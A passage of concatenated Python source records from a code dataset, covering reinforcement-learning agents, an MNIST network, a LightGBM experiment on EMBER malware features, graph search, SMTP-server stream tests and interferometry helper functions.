count\n\ndef max_min(tupla):\n return { \"minimo\":min(tupla), \"maximo\":max(tupla) }\n\nprint(max_min((1,2,3,4,5,6,7,8,9,10)))\n\n\"\"\"\ndef pedir_contactos():\n contactos = {}\n while True:\n nombre = input(\"ingrese su nombre\")\n if nombre in contactos:\n print(\"el nombre ya se encuentra registrado\")\n else:\n numero_telefono = int(input(\"ingrese su telefono\"))\n contactos[nombre] = numero_telefono\n opcion = input(\" Desea escribir más contactos ? SI/NO si/no\")\n if opcion == \"NO\" or opcion == \"no\":\n break\n\"\"\"\n\ncreate_tuple = tuple([ x for x in range(1,11)])\nprint(create_tuple)\n\nlista_vacia = [ \" \" for x in range(0,10)]\n\nfor n in range(0,10):\n message = \"Ingrese el valor para la posición {0} : \".format(n)\n lista_vacia[n] = input(message)\n\n\n\n\n\n\n\n\n","sub_path":"cursos/ejercicios/discoduroroer/listas_tuplas_diccionarios.py","file_name":"listas_tuplas_diccionarios.py","file_ext":"py","file_size_in_byte":1930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"624716025","text":"import torch\nimport torch.autograd as autograd\nimport torch.distributions as distributions\n\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport numpy as np\n\nfrom models import *\nfrom prototype import *\n\n\n# device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n# script_path = os.path.dirname(os.path.realpath(__file__))\n# model_path = os.path.join(script_path, 'model.pt')\n#\n# # Hyperparameters --- don't change, RL is very sensitive\n# learning_rate = 0.001\n# gamma = 0.98\n# buffer_limit = 5000\n# batch_size = 32\n# max_episodes = 2000\n# t_max = 600\n# min_buffer = 1000\n# target_update = 20 # episode(s)\n# train_steps = 10\n# max_epsilon = 1.0\n# min_epsilon = 0.01\n# epsilon_decay = 500\n# print_interval= 20\n#\n# Transition = collections.namedtuple('Transition', ('state', 'action', 'reward', 'next_state', 'done'))\nENT_COEF = 1e-2\n\n\nclass ActorCritic():\n # def __init__(self, env, network_model, existed_model):\n # self.log_probs = None\n #\n # self.actor = existed_model\n # self.critic_net = network_model(env.observation_space.shape, 1).to(device)\n # self.critic_target = network_model(env.observation_space.shape, 1).to(device)\n # self.action_critic = existed_model\n #\n # self.actor_optimizer = optim.Adam(self.actor.parameters(), lr=learning_rate)\n # self.critic_optimizer = optim.Adam(self.critic_net.parameters(), lr=learning_rate)\n # self.action_critic_optimizer = optim.Adam(self.action_critic.parameters(), lr=learning_rate)\n def __init__(self, actor, critic_net, action_critic, network_model):\n self.log_probs = None\n\n self.actor = actor\n\n self.critic_net = critic_net\n self.critic_target = network_model(critic_net.input_shape, 1).to(device)\n self.critic_target.load_state_dict(self.critic_net.state_dict())\n self.critic_target.eval()\n\n self.action_critic = action_critic\n\n self.actor_optimizer = optim.Adam(self.actor.parameters(), lr=learning_rate)\n self.critic_optimizer = optim.Adam(self.critic_net.parameters(), lr=learning_rate)\n self.action_critic_optimizer = optim.Adam(self.action_critic.parameters(), lr=learning_rate)\n\n def choose_action(self, state):\n if not isinstance(state, torch.FloatTensor):\n state = torch.from_numpy(state).float().unsqueeze(0).to(device)\n\n probabilities = F.softmax(self.actor.forward(state), dim=1)\n action_probs = distributions.Categorical(probabilities)\n action = action_probs.sample()\n self.log_probs = action_probs.log_prob(action)\n return action.item()\n # if not isinstance(state, torch.FloatTensor):\n # state = torch.from_numpy(state).float().unsqueeze(0).to(self.device)\n # '''\n # FILL ME : This function should return epsilon-greedy action.\n #\n # Input:\n # * `state` (`torch.tensor` [batch_size, channel, height, width])\n # * `epsilon` (`float`): the probability for epsilon-greedy\n #\n # Output: action (`Action` or `int`): representing the action to be taken.\n # if action is of type `int`, it should be less than `self.num_actions`\n # '''\n # #Get a random number and determine if agent should exploit or explore\n # rand_num = np.random.random()\n # if(rand_num < epsilon):#explore by choosing random action\n # output_action = np.random.randint(self.model.num_actions)\n # else: #exploit by choosing best action\n # output_actions = self.model.forward(state)\n # output_action = torch.argmax(output_actions).item()\n # return output_action\n\n\n def learn(self, memory):\n if len(memory) >= batch_size:\n print(\"learn ---\")\n states, actions, rewards, next_states, dones = memory.sample(batch_size, device)\n \n \n # forward calc\n action_log_prob = self.actor(states)\n action_prob = F.softmax(action_log_prob, dim=1)\n action_log_prob = F.log_softmax(action_log_prob, dim=1)\n \n cur_value = self.critic_net(states).squeeze(1)\n next_value = self.critic_target(next_states)\n action_value = self.action_critic(states)\n \n # critic loss. eq (5) in SAC paper\n value_target = (action_value - ENT_COEF * action_log_prob).gather(1, actions).squeeze(1)\n critic_loss = 0.5 * F.smooth_l1_loss(cur_value, value_target.detach())\n \n # action critic loss. eq (7), (8) in SAC paper\n action_value_target = (rewards + gamma * (1 - dones) * next_value).squeeze(1)\n action_critic_loss = 0.5 * F.smooth_l1_loss(action_value.gather(1, actions).squeeze(1), action_value_target.detach())\n \n # actor loss. eq (10) in SAC paper\n actor_loss = torch.mean(action_prob*(action_log_prob- F.log_softmax(action_value.detach()/ENT_COEF, dim=1)))\n \n \n self.actor_optimizer.zero_grad()\n actor_loss.backward()\n self.actor_optimizer.step()\n \n self.critic_optimizer.zero_grad()\n critic_loss.backward()\n self.critic_optimizer.step()\n \n self.action_critic_optimizer.zero_grad()\n action_critic_loss.backward()\n self.action_critic_optimizer.step()\n \n self.critic_target.load_state_dict(self.critic_net.state_dict())\n \n #\n # critic_value = self.critic.forward(state)\n # critic_value_next = self.critic.forward(new_state)\n # td_error = ((reward + gamma * critic_value_next * (1- int(done))) - critic_value)\n #\n # actor_loss = -self.log_probs * td_error\n # critic_loss = td_error**2\n #\n # #print(actor_loss, critic_loss)\n # (actor_loss + critic_loss).backward()\n #\n # self.actor_optimizer.step()\n # self.critic_optimizer.step()\n return actor_loss, critic_loss, action_critic_loss\n\n def save_models(self):\n\n script_path = os.path.dirname(os.path.realpath(__file__))\n actor_model_path = os.path.join(script_path, 'actor_model.pt')\n actor_data = (self.actor.__class__.__name__, self.actor.state_dict(), self.actor.input_shape, self.actor.num_actions)\n torch.save(actor_data, actor_model_path)\n\n critic_model_path = os.path.join(script_path, 'critic_model.pt')\n critic_data = (self.critic_net.__class__.__name__, self.critic_net.state_dict(), self.critic_net.input_shape, self.critic_net.num_actions)\n torch.save(critic_data, critic_model_path)\n\n action_critic_model_path = os.path.join(script_path, 'action_critic_model.pt')\n action_critic_data = (self.action_critic.__class__.__name__, self.action_critic.state_dict(), self.action_critic.input_shape, self.action_critic.num_actions)\n torch.save(action_critic_data, action_critic_model_path)\n\n","sub_path":"HW3_task2-ac-v2-p/agent/actor_critic.py","file_name":"actor_critic.py","file_ext":"py","file_size_in_byte":7077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"436680271","text":"import os,sys,gc,itertools,tqdm\n\nsys.path.append(os.path.dirname(os.getcwd()))\nfrom boostember import *\n\nconfig = {\n 'booster': ['lgb'],\n 'experiment': ['emberboosting'],\n 'n_estimator': [10, 50, 100, 500, 1000],\n 'defaultdataset': [True],\n}\n\n#farr=['MEAN(coff_characteristics.coff_characteristics_hash_13)', 'MAX(datadirectories.size_CERTIFICATE_TABLE)', 'MEAN(imports_api.imports.imports_hash_20)', 'MAX(header_optional.optional_major_subsystem_version)', 'MIN(section_sections.MEAN(sections_props.props_hash_14))', 'MEAN(imports_api.imports_api_hash_10)', 'MAX(datadirectories.size_RESOURCE_TABLE)', 'STD(imports.imports_hash_16)', 'MODE(header_optional.optional_subsystem) = WINDOWS_GUI']\nfarr=['header_coff_characteristics_3', 'imports_libraries_hashed_117', 'header_optional_major_subsystem_version', 'strings_printabledist_74', 'header_optional_subsystem_8', 'datadirectories_RESOURCE_TABLE_size', 'datadirectories_CERTIFICATE_TABLE_size', 'datadirectories_DEBUG_virtual_address', 'header_coff_characteristics_0']\nfstr = ' and featureselect' if farr is not None else ''\n\ndef run():\n\n keys, values = zip(*config.items())\n experiments = tqdm.tqdm([dict(zip(keys, v)) for v in itertools.product(*values)])\n\n for experimentdict in experiments:\n exp = f'no AFE without featurehaser{fstr}' if experimentdict['defaultdataset'] else f'AFE without featurehaser{fstr}'\n experiments.set_description(\"{} \\n\".format(\"\\t\".join(f\"[{k}]: {v}\" for k, v in experimentdict.items())))\n run = Boosting(f'{experimentdict[\"booster\"]} n{experimentdict[\"n_estimator\"]} {exp}',\n experiment=experimentdict['experiment'], booster=experimentdict[\"booster\"],\n n_estimator=experimentdict[\"n_estimator\"], defaultdataset=experimentdict[\"defaultdataset\"],\n features=farr,\n dataset='/home/aizat/OneDrive/Master Project/Workspace/dataset/ember2018', n_jobs=21, verbose=False)\n run.main(cv=True, n=5)\n del run\n gc.collect()\n\n\nif __name__ == '__main__':\n run()\n\n","sub_path":"scripts/lightgbm_ember.py","file_name":"lightgbm_ember.py","file_ext":"py","file_size_in_byte":2085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"38573873","text":"from collections import deque\n\nN, M, V = map(int, input().split())\ngraph = [[0]*(N+1) for _ in range(N+1)]\n\n\ndef dfs(v):\n print(v, end=' ')\n visited[v] = 1\n\n for w in graph[v]:\n if graph[v][w] and not visited[w]:\n dfs(w)\n\n\ndef bfs(v):\n Q = deque([v])\n visited[v] = 1\n while Q:\n q = Q.popleft()\n print(q, end=' ')\n for w in graph[q]:\n if graph[q][w] and not visited[w]:\n Q.append(w)\n visited[w] = 1\n\n\nfor _ in range(M):\n v, w = map(int, input().split())\n graph[v][w] = w\n graph[w][v] = v\n\n\nvisited = [0]*(N+1)\ndfs(V)\nprint()\nvisited = [0]*(N+1)\nbfs(V)\n\n","sub_path":"AHYEON/02.DFSBFS/1260_dfs와bfs.py","file_name":"1260_dfs와bfs.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"487527919","text":"from torch.autograd import Variable\nimport torch.nn as nn\n\n\nclass DefinitionClassifier(nn.Module):\n\n def __init__(self, feature_size, hidden_size, target_size,\n dropout=0.5):\n\n \"\"\"\n A two-layer neural network that accepts hidden states to predict the\n omitted target term from a passage missing the target term.\n\n The purpose of this model is to determine if the latent representations\n of the language model are rich enough to indicative of the words they\n are encoding.\n\n We allow the model to be minimal to test the richness of the features.\n\n Parameters:\n -----------\n :param feature_size: int\n The number of features we've selected from the model.\n :param target_size: int\n The size of the vocabulary in which to predict.\n :param hidden_size: int\n The number of hidden dimensions to map the input to before\n the output layer.\n \"\"\"\n # Save the construction arguments, useful for serialization\n self.init_arguments = locals()\n self.init_arguments.pop(\"self\")\n self.init_arguments.pop(\"__class__\")\n super(DefinitionClassifier, self).__init__()\n\n self.target_size = target_size\n self.hidden_size = hidden_size\n self.dropout = dropout\n\n self.model = nn.Sequential(\n nn.Linear(feature_size, hidden_size),\n nn.ReLU(),\n nn.Dropout(self.dropout),\n nn.Linear(hidden_size, target_size)\n )\n\n def forward(self, input):\n\n # Forward pass.\n # Shape: (1, target_size)\n return self.model(input)\n","sub_path":"metrics/feature_extraction/definition_classifier.py","file_name":"definition_classifier.py","file_ext":"py","file_size_in_byte":1674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"613867727","text":"'''\nFile Name: main \nAuthor: Shiming Luo\nDate: 2018.05.06\n'''\n\nimport numpy as np\nimport loader\nfrom preprocessing import *\nfrom architecture import *\n\nif __name__ == '__main__':\n \n ### load data\n mnist = loader.MNIST('/MNIST/raw/')\n train_images, train_labels = mnist.load_training()\n test_images, test_labels = mnist.load_testing()\n\n\n train_images,train_labels = preprocess(train_images,train_labels,60000)\n\n #### set up train, validation, test sets\n x_train = np.matrix(train_images[:50000]) ## N1*785\n x_val = np.matrix(train_images[50000:]) ## N2*785\n t_train = np.matrix(train_labels[:50000]).T ## N1*1\n t_val = np.matrix(train_labels[50000:]).T ## N2*1\n\n #### pre-processing\n x_train = z_score(x_train) ## N1*785\n x_val = z_score(x_val) ## N2*785\n\n t_train_original = t_train\n t_val_original = t_val\n\n t_train = one_hot(t_train) ## N1*10\n t_val = one_hot(t_val) ## N2*10\n\n ### constrct a one hidden layer model\n OneHM = OneHiddenModel()\n\n ### convert train set and validation set to array\n x_train = np.array(x_train)\n t_train = np.array(t_train)\n x_val = np.array(x_val)\n t_val = np.array(t_val)\n\n ### train 30 epoches\n epoches = 30\n for epoch in range(epoches):\n for m in range(len(x_train)//OneHM.batch_size):\n X = x_train[m*OneHM.batch_size : (m+1)*OneHM.batch_size]\n t = t_train[m*OneHM.batch_size : (m+1)*OneHM.batch_size]\n OneHM.train(X, t)\n if (epoch+1)%3 == 0:\n print('epoch: {}/{}'.format(epoch+1,epoches))\n error,acc = OneHM.evaluation(x_train,t_train)\n print('train error: {:.4f}, train accuracy: {:.2f}%'.format(error,100*acc))\n error,acc = OneHM.evaluation(x_val,t_val)\n print('valid error: {:.4f}, valid accuracy: {:.2f}%'.format(error,100*acc))\n\n\n","sub_path":".ipynb_checkpoints/main-checkpoint.py","file_name":"main-checkpoint.py","file_ext":"py","file_size_in_byte":1869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"271918686","text":"# So that float division is by default in python 2.7\nfrom __future__ import division\n\nimport pandas as pd\n\ndf = pd.read_csv('data/house_pricing.csv')\n\n\n# Enter Code Here\ndef cond_prob(df):\n df1 = df[df['Neighborhood']=='OldTown']['Neighborhood'].count()\n df2 = df.shape[0]\n conditional_prob = (df1/df2)*((df1-1)/(df2-1))*((df1-2)/(df2-2))\n\n return conditional_prob\n","sub_path":"q01_cond_prob/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"19750285","text":"import time\nimport gym\nfrom tensorboardX import SummaryWriter\nfrom torch import nn\nimport torch.nn.functional as F\nimport torch\nimport numpy as np\nfrom rl.utils.rl_utils import test_model\nfrom rl.utils.exp_buffer import ExperienceBuffer, Experience\n\n\nclass DQN(nn.Module):\n def __init__(self, state_size_, action_size_, hidden_size_):\n super().__init__()\n self.state_size = state_size_\n self.action_size = action_size_\n self.hidden_size = hidden_size_\n\n self.fc1 = nn.Linear(self.state_size, self.hidden_size)\n self.fc2 = nn.Linear(self.hidden_size, self.hidden_size)\n self.fc3 = nn.Linear(self.hidden_size, self.action_size)\n\n def forward(self, x):\n x = F.relu(self.fc1(x))\n x = F.relu(self.fc2(x))\n return self.fc3(x)\n\n\nclass Agent:\n def __init__(self, env, exp_buffer):\n self.env = env\n self.exp_buffer: ExperienceBuffer = exp_buffer\n self.state = None\n self.device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n self._reset()\n\n def _reset(self):\n self.state = env.reset()\n self.total_reward = 0.0\n\n def play_step(self, net, epsilon=0.0):\n done_reward = None\n\n if np.random.random() < epsilon:\n action = env.action_space.sample()\n else:\n state_a = np.array([self.state], copy=False)\n model.eval()\n with torch.no_grad():\n state_v = torch.FloatTensor(state_a).to(self.device)\n q_vals_v = net(state_v)\n _, act_v = torch.max(q_vals_v, dim=1)\n action = int(act_v.item())\n\n # do step in the environment\n new_state, reward, is_done, _ = self.env.step(action)\n self.total_reward += reward\n\n exp = Experience(self.state, action, reward, is_done, new_state)\n self.exp_buffer.append(exp)\n self.state = new_state\n if is_done:\n done_reward = self.total_reward\n self._reset()\n return done_reward\n\n\ndef calc_loss(batch, net, tgt_net, device, GAMMA, double=True):\n states, actions, rewards, dones, next_states = batch\n\n states_v = torch.FloatTensor(states).to(device)\n next_states_v = torch.FloatTensor(next_states).to(device)\n actions_v = torch.tensor(actions).to(device)\n rewards_v = torch.FloatTensor(rewards).to(device)\n done_mask = torch.BoolTensor(dones).to(device)\n\n state_action_values = net(states_v).gather(1, actions_v.unsqueeze(-1)).squeeze(-1)\n if double:\n next_state_actions = net(next_states_v).max(1)[1]\n next_state_values = tgt_net(next_states_v).gather(1, next_state_actions.unsqueeze(-1)).squeeze(-1)\n else:\n next_state_values = tgt_net(next_states_v).max(1)[0]\n next_state_values[done_mask] = 0.0 # without this, training will not converge\n next_state_values = next_state_values.detach()\n\n expected_state_action_values = next_state_values * GAMMA + rewards_v\n return nn.MSELoss()(state_action_values, expected_state_action_values)\n\n\nif __name__ == '__main__':\n gamma = 0.99 # future reward discount\n EPSILON_DECAY_LAST_FRAME = 10 ** 5\n REPLAY_MIN_SIZE = 5000\n SYNC_TARGET_FRAMES = 1000\n target_reward = 199.9\n epsilon_start = 1.0 # exploration probability at start\n epsilon_stop = 0.01 # minimum exploration probability\n decay_rate = 0.0001 # exponential decay rate for exploration prob\n hidden_size = 64 # number of units in each Q-network hidden layer\n learning_rate = 0.0001 # Q-network learning rate\n replay_size = 10000 # memory capacity\n batch_size = 20 # experience mini-batch size\n\n env = gym.make('CartPole-v0')\n buffer = ExperienceBuffer(replay_size)\n agent = Agent(env, buffer)\n\n model = DQN(env.observation_space.shape[0], env.action_space.n, hidden_size)\n tgt_net = DQN(env.observation_space.shape[0], env.action_space.n, hidden_size)\n optimizer = torch.optim.Adam(model.parameters(), lr=learning_rate)\n\n writer = SummaryWriter(comment=\"-CartPole\")\n total_rewards = []\n frame_idx = 0\n ts_frame = 0\n ts = time.time()\n best_mean_reward = None\n while True:\n frame_idx += 1\n epsilon = max(epsilon_stop, epsilon_start - frame_idx / EPSILON_DECAY_LAST_FRAME)\n\n reward = agent.play_step(model, epsilon)\n if reward is not None:\n total_rewards.append(reward)\n speed = (frame_idx - ts_frame) / (time.time() - ts)\n ts_frame = frame_idx\n ts = time.time()\n mean_reward = np.mean(total_rewards[-100:])\n print(\"%d: done %d games, mean reward %.3f, eps %.2f, speed %.2f f/s\" % (\n frame_idx, len(total_rewards), mean_reward, epsilon, speed))\n writer.add_scalar(\"epsilon\", epsilon, frame_idx)\n writer.add_scalar(\"speed\", speed, frame_idx)\n writer.add_scalar(\"reward_100\", mean_reward, frame_idx)\n writer.add_scalar(\"reward\", reward, frame_idx)\n if best_mean_reward is None or best_mean_reward < mean_reward:\n torch.save(model.state_dict(), \"/tmp/cart_pole_deep_q1_best.dat\")\n if best_mean_reward is not None:\n print(\"Best mean reward updated %.3f -> %.3f, model saved\" % (best_mean_reward, mean_reward))\n best_mean_reward = mean_reward\n if mean_reward > target_reward:\n print(\"Solved in %d frames!\" % frame_idx)\n break\n\n if len(buffer) < REPLAY_MIN_SIZE:\n continue\n\n if frame_idx % SYNC_TARGET_FRAMES == 0:\n tgt_net.load_state_dict(model.state_dict())\n\n model.train()\n optimizer.zero_grad()\n batch = buffer.sample(batch_size)\n loss_t = calc_loss(batch, model, tgt_net, device=agent.device, GAMMA=gamma)\n loss_t.backward()\n optimizer.step()\n writer.close()\n\n test_model(env, model, test_max_steps=400)\n env.close()\n","sub_path":"rl/q/cart_pole_deep_q_1.py","file_name":"cart_pole_deep_q_1.py","file_ext":"py","file_size_in_byte":5966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"308570785","text":"# (The MIT License)\n#\n# Copyright (c) 2013 Kura\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the 'Software'), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\nimport os\nimport unittest\nimport random\nimport socket\n\nfrom tornado.options import options\nfrom tornado import iostream\n\nfrom blackhole.connection import connection_stream\nfrom blackhole import opts\nfrom blackhole.ssl_utils import sslkwargs\n\n\nclass BaseStream(unittest.TestCase):\n\n def setUp(self):\n options.ssl = False\n options.port = random.randint(5000, 10000)\n options.ssl_port = random.randint(5000, 10000)\n\n def tearDown(self):\n for s in self.sockets.values():\n s.close()\n self.sockets = {}\n\n\nclass TestSocketConnectionStream(BaseStream):\n\n def setUp(self):\n super(TestSocketConnectionStream, self).setUp()\n self.socket = socket.socket()\n\n def test_socket_connection_stream(self):\n self.assertTrue(isinstance(connection_stream(self.socket),\n iostream.IOStream))\n\n def tearDown(self):\n self.socket.close()\n\n\nclass TestSSLSocketConnectionStream(BaseStream):\n\n def setUp(self):\n super(TestSSLSocketConnectionStream, self).setUp()\n options.ssl = True\n sslkwargs['keyfile'] = os.path.join(os.path.dirname(__file__),\n 'test.key')\n sslkwargs['certfile'] = os.path.join(os.path.dirname(__file__),\n 'test.crt')\n self.socket = socket.socket()\n self.socket.bind(('127.0.0.1', options.ssl_port))\n\n def test_ssl_socket_connection_stream(self):\n self.assertTrue(isinstance(connection_stream(self.socket),\n iostream.SSLIOStream))\n\n def tearDown(self):\n self.socket.close()\n","sub_path":"tests/test_streams.py","file_name":"test_streams.py","file_ext":"py","file_size_in_byte":2768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"66737134","text":"import datetime, json\nclass Tracker:\n def __init__(self):\n self.moodFile = json.loads(open('moodData.json').read())\n \n def add(self):\n event = input('what happened: ' )\n date = str(datetime.datetime.now())\n value = int(input('give it a score: '))\n self.moodFile.update(\n {\n date:{\n event: value\n }\n }\n )\n \n def save(self):\n with open('moodData.json', 'w') as saveFile:\n saveFile.write(\n json.dumps(\n self.moodFile,\n indent = 2,\n sort_keys = True\n )\n )\n \nif __name__ == '__main__':\n myTracker = Tracker()\n myTracker.add()\n myTracker.save()\n","sub_path":"Tracker.py","file_name":"Tracker.py","file_ext":"py","file_size_in_byte":813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"300627926","text":"\"\"\"\r\nVarious functions for fringefinder.\r\n Tested with Python 3.6 (Anaconda 5 stack) on Linux Mint 18\r\n\r\n//////////////////////////////////////////////////////////////////////////////\r\nNotes\r\n Authored by: Michael Braine, Physical Science Technician\r\n PHONE: 301 975 3471\r\n EMAIL: michael.braine@nist.gov (use this instead)\r\n June, 2018 (ported from Matlab)\r\n\r\n//////////////////////////////////////////////////////////////////////////////\r\n\"\"\"\r\n\r\nimport sys\r\nimport os\r\nimport copy\r\nimport csv\r\nimport math\r\nimport numpy as np\r\nimport matplotlib\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib.widgets import Cursor\r\nfrom scipy import optimize\r\nplt.ion()\r\n\r\nfringefinderfuncs_directory = os.path.dirname(os.path.realpath(__file__)) #get path of wavelength_air.py\r\nsys.path.append(os.path.abspath(fringefinderfuncs_directory))\r\nfrom ref_index import edlen_ri, rh2wvpp #pylint: disable=C0413\r\n\r\ndef cpause(interval):\r\n \"\"\"custom pause function, to update only active figure\"\"\"\r\n backend = plt.rcParams['backend']\r\n if backend in matplotlib.rcsetup.interactive_bk:\r\n figManager = matplotlib._pylab_helpers.Gcf.get_active() #pylint: disable=W0212\r\n if figManager is not None:\r\n canvas = figManager.canvas\r\n if canvas.figure.stale:\r\n canvas.draw()\r\n canvas.start_event_loop(interval)\r\n return\r\n\r\ndef manual_ballcenter(ballimage, ballimageax):\r\n \"\"\"\r\n manual_ballcenter.py\r\n Tested with Python 3.6 (Anaconda 5 stack) on Linux Mint 18\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Notes\r\n Authored by: Michael Braine, Physical Science Technician\r\n PHONE: 301 975 3471\r\n EMAIL: michael.braine@nist.gov (use this instead)\r\n June, 2018 (ported from Matlab)\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Purpose\r\n Take input from user for ball edge position, fit circle, output x,y coordinates and radius\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n References\r\n -none\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Inputs\r\n -guinputs\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Outputs\r\n - (x,y) of circle\r\n - radius of circle\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Change Log from mv1.00 to v1.00\r\n June 13, 2018\r\n -converted to python by hand to have identical behavior\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n \"\"\"\r\n ballimageax.imshow(ballimage, cmap='gray')\r\n\r\n ballimageax.set_title('Pick points believed to be the ball edge. Right-click when done.')\r\n ballcursor = Cursor(ballimageax, useblit=True, color='C8', linewidth=1, alpha=0.5) #pylint: disable=W0612\r\n xy = plt.ginput(n=0, mouse_add=1, mouse_pop=2, mouse_stop=3, timeout=0)\r\n x = np.asarray(xy)[:, 0]\r\n y = np.asarray(xy)[:, 1]\r\n plt.plot(x, y, 'C2+')\r\n\r\n xc, yc, r = circfit(x, y)\r\n\r\n return xc, yc, r\r\n\r\ndef wavelength_air(T_air, RH, P, lambda_vac):\r\n \"\"\"\r\n wavelength_air.py\r\n Tested with Python 3.6 (Anaconda 5 stack) on Linux Mint 18\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Notes\r\n Authored by: Michael Braine, Physical Science Technician\r\n PHONE: 301 975 3471\r\n EMAIL: michael.braine@nist.gov (use this instead)\r\n June, 2018 (ported from Matlab)\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Purpose\r\n calculate wavelength in air using Edlen\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n References\r\n verified against Engineering Metrology Toolbox (http://emtoolbox.nist.gov/Wavelength/Edlen.asp)\r\n ported from strang_ambients.m v1.12\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Inputs\r\n - T_air - temperature of air, deg. C\r\n - RH - relative humidity of air, %RH\r\n - P - beam air pressure, kPa\r\n - lambda_vac - vacuum wavelength of light source\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Outputs\r\n - lambda_air - wavelength of light in ambient air, nm\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Change Log from mv1.12 to v1.00\r\n June 13, 2018\r\n -converted to python by hand to have identical behavior\r\n -changed instrument input to wavelength input\r\n -removed toggle of frequency or wavelength. now only wavelength in nm\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n \"\"\"\r\n n_air = edlen_ri(lambda_vac, T_air, P*1e3, rh2wvpp(RH, T_air))\r\n return lambda_vac/n_air\r\n\r\ndef circfit(x, y):\r\n \"\"\"\r\n circfit.py\r\n Tested with Python 3.6 (Anaconda 5 stack) on Linux Mint 18\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Notes\r\n Authored by: Michael Braine, Physical Science Technician\r\n PHONE: 301 975 3471\r\n EMAIL: michael.braine@nist.gov (use this instead)\r\n June, 2018 (ported from Matlab)\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Purpose\r\n Take input from user for ball edge position, fit circle, output x,y coordinates and radius\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n References\r\n -none\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Inputs\r\n -x - array of x-coordinates\r\n -y - array of y-coordinates\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Outputs\r\n - (x,y) of circle\r\n - radius of circle\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Change Log from v1.00 to v1.00\r\n June 14, 2018\r\n -initial version. NOT a port of circfit.m\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n \"\"\"\r\n def calc_R(xc, yc):\r\n \"\"\"\r\n internal function for circfit\r\n \"\"\"\r\n return np.sqrt((x-xc)**2 + (y-yc)**2)\r\n def f_2(c):\r\n \"\"\"\r\n internal function for circfit\r\n \"\"\"\r\n Ri = calc_R(*c)\r\n return Ri - Ri.mean()\r\n\r\n center_est = x.mean(), y.mean()\r\n center_2, _ = optimize.leastsq(f_2, center_est)\r\n xc_2, yc_2 = center_2\r\n Ri_2 = calc_R(*center_2)\r\n R_2 = Ri_2.mean()\r\n\r\n return xc_2, yc_2, R_2\r\n\r\ndef drawcircle(xc, yc, r, axesid):\r\n \"\"\"\r\n drawcircle.py\r\n Tested with Python 3.6 (Anaconda 5 stack) on Linux Mint 18\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Notes\r\n Authored by: Michael Braine, Physical Science Technician\r\n PHONE: 301 975 3471\r\n EMAIL: michael.braine@nist.gov (use this instead)\r\n June, 2018 (ported from Matlab)\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Purpose\r\n Plot circle on given figure with x- and y-center coordinates with radius r. pixels\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n References\r\n -none\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Inputs\r\n -xc - center in x, pixels\r\n -yc - center in y, pixels\r\n -r - radius, pixels\r\n -axesid- axes ID\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Outputs\r\n - (x,y) of circle\r\n - radius of circle\r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n Change Log from v1.00 to v1.00\r\n June 13, 2018\r\n -initial version. NOT port of drawcircle.m\r\n\r\n 